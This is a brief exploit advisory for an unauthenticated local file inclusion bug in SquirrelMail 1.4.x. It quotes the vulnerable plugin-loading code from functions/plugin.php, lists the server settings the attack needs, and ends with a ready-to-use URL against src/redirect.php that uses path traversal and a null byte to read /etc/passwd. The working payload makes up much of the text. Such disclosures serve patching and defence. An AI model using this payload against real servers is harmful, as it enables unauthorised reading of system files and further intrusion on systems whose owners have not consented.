Squirrelmail local file inclusion bug in functions/plugin.php .
Tested on the latest 1.4.x version.
No authentication needed.

if (isset($plugins) && is_array($plugins)) {
    foreach ($plugins as $name) {
        use_plugin($name);
    }
...
function use_plugin ($name) {
    if (file_exists(SM_PATH . "plugins/$name/setup.php")) {
        include_once(SM_PATH . "plugins/$name/setup.php");
        $function = "squirrelmail_plugin_init_$name";
        if (function_exists($function)) {
            $function();
        }
    }
}
....

If register_globals is on we can control the $name variable.

In order to avoid errors SM_PATH needs to be defined. Exploitation
is done through src/redirect.php ( it includes functions/plugin.php
prior to authentication and it defines SM_PATH ).

magic_quotes_gpc needs to be off.


Example:
http://[host]/[squirrelmail dir]/src/redirect.php?plugins[]=../../../../etc/passwd%00


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